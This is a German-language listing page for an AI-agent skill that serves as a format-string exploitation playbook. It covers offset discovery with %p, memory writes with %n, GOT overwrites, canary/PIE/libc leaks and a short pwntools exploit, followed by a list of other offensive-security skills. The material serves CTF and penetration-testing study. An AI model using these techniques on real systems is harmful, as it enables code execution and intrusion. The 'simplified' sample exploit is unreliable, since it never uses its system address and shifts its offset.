CommunityCodierung & Entwicklunggithub.com

yaklang/format-string-exploitation

Format-String-Ausbeutungs-Playbook. Verwenden Sie, wenn printf-Funktionen benutzergesteuerte Formatstrings erhalten, was beliebige Stack-Lesevorgänge (%p/%s), beliebige Speicherschreibvorgänge (%n/%hn/%hhn), GOT/Hook-Überschreibungen und Canary/libc/PIE-Leaks ermöglicht.

Was ist format-string-exploitation?

Dieses Skill ist ein umfassendes Playbook zur Ausbeutung von Format-String-Schwachstellen. Es richtet sich an Entwickler und Sicherheitsforscher, die mit printf-ähnlichen Funktionen arbeiten, bei denen ein Angreifer den Format-String kontrolliert. Der Skill deckt kritische Techniken ab, wie das Auslesen von Stack-Daten (%p/%s) und das willkürliche Schreiben in den Speicher (%n/%hn/%hhn), wodurch Angreifer die Kontrolle über Programmabläufe erlangen können. Typische Angriffsziele sind die Überschreibung von GOT-Einträgen, Canary-Werte, PIE-Basen und libc-Adressen, um Codeausführung zu erreichen oder Schutzmechanismen zu umgehen. Der Skill unterstützt Plattformen wie Yaklang und bietet eine strukturierte Anleitung für Exploit-Entwicklung, inklusive Schritte wie Stack-Layout-Analyse, Offset-Bestimmung und Ausnutzung von %n-Schreibzugriffen. Er ist besonders nützlich für Penetrationstester und CTF-Teilnehmer, die tiefgehende Schwachstellenanalyse betreiben.

Funktioniert mit~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/yaklang/hack-skills/tree/main/skills/format-string-exploitation

Installed? Explore more Codierung & Entwicklung skills: steipete/bluebubbles, steipete/eightctl, steipete/blucli · View all 6 →

In Ihrer bevorzugten KI fragen

Öffnet einen neuen Chat, in dem dieser Agent-Skill bereits geladen ist.

Dokumentation

Was macht format-string-exploitation?

Format-String-Ausbeutungs-Playbook. Verwenden Sie, wenn printf-Funktionen benutzergesteuerte Formatstrings erhalten, was beliebige Stack-Lesevorgänge (%p/%s), beliebige Speicherschreibvorgänge (%n/%hn/%hhn), GOT/Hook-Überschreibungen und Canary/libc/PIE-Leaks ermöglicht.

Einführung

Dieses Playbook beschreibt die systematische Ausbeutung von Format-String-Schwachstellen in C-Programmen. Es deckt die grundlegenden Techniken ab: Stack-Lesen, Speicherschreiben und die Umgehung von Schutzmechanismen wie Canary, PIE und ASLR.

Voraussetzungen

  • Grundlegendes Verständnis der C-Sprache und der printf-Funktion
  • Kenntnisse über Speicherlayout (Stack, Heap, BSS, Data, Text)
  • Vertrautheit mit Debugging-Tools wie GDB oder Radare2
  • Zugang zu einem Zielbinary mit Format-String-Schwachstelle

Schritt-für-Schritt-Anleitung

1. Identifizieren der Schwachstelle

Suchen Sie nach Verwendungen von printf, sprintf, fprintf, snprintf oder vsprintf, bei denen ein benutzergesteuerter String direkt als erstes Argument übergeben wird.

// Schwachstelle
printf(user_input);

// Sicher
printf("%s", user_input);

2. Offset bestimmen

Senden Sie eine Serie von %p-Format-Specifiers, um den Offset ihres Inputs auf dem Stack zu finden.

echo 'AAAA%p.%p.%p.%p.%p.%p.%p.%p' | ./verwundbar

Wenn Sie AAAA an Position 6 sehen, ist der Offset 6.

3. Stack-Werte lesen

Verwenden Sie direkte Parameterzugriffe, um gezielt Werte vom Stack zu lesen.

# Offset 6 lesen
echo '%6$p' | ./verwundbar

# Mehrere Werte lesen
echo '%6$p.%7$p.%8$p' | ./verwundbar

4. Speicher schreiben mit %n

%n schreibt die Anzahl der bereits ausgegebenen Zeichen an die Adresse, die auf dem Stack liegt.

// Beispiel: Wert 0x42 an Adresse 0x0804a000 schreiben
char payload[100];
// Zieladresse zuerst auf den Stack legen
*(uint32_t*)payload = 0x0804a000;
// Format-String: 0x42 - 4 = 62 Zeichen ausgeben, dann %n
snprintf(payload+4, 96, "%62x%6$n");

5. GOT-Überschreibung

Statt auf eine beliebige Adresse zu schreiben, überschreiben Sie einen GOT-Eintrag, um die Ausführung umzuleiten.

# GOT-Adresse von puts ermitteln
objdump -R verletzlich | grep puts
# Beispiel-Ausgabe: 0804a010 R_386_JUMP_SLOT puts

# Überschreiben Sie puts mit der Adresse von system
# Dazu müssen Sie schrittweise die Bytes schreiben

6. Canary, PIE und ASLR umgehen

  • Canary: Lesen Sie den Canary-Wert mit %p und erhalten Sie ihn für einen späteren Buffer-Overflow.
  • PIE: Lesen Sie eine Code-Adresse vom Stack, um die Base-Adresse zu berechnen.
  • ASLR: Leaken Sie eine libc-Adresse (z.B. von __libc_start_main), um die libc-Offsets zu bestimmen.

Beispiel-Exploit (vereinfacht)

from pwn import *

# Zieladresse (GOT von puts)
got_puts = 0x0804a010
# Zielwert (Adresse von system)
system_addr = 0xb7e6b060

# Exploit-Aufbau
payload = p32(got_puts)      # Adresse für %n
payload += b"%10$n"          # Format-String (angenommen Offset 10)

# Senden
p = process('./verwundbar')
p.sendline(payload)
p.interactive()

Referenzen

Lizenz

MIT

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

yaklang/401-403-bypass-techniques

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

yaklang/active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

yaklang/active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

yaklang/active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

yaklang/ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

yaklang/android-pentesting-tricks

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

yaklang/anti-debugging-techniques

Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.

yaklang/api-auth-and-jwt-abuse

API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

yaklang/api-authorization-and-bola

API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.

yaklang/api-recon-and-docs

API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.

yaklang/api-sec

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

yaklang/arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

yaklang/authbypass-authentication-flaws

Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

Verwandte Skills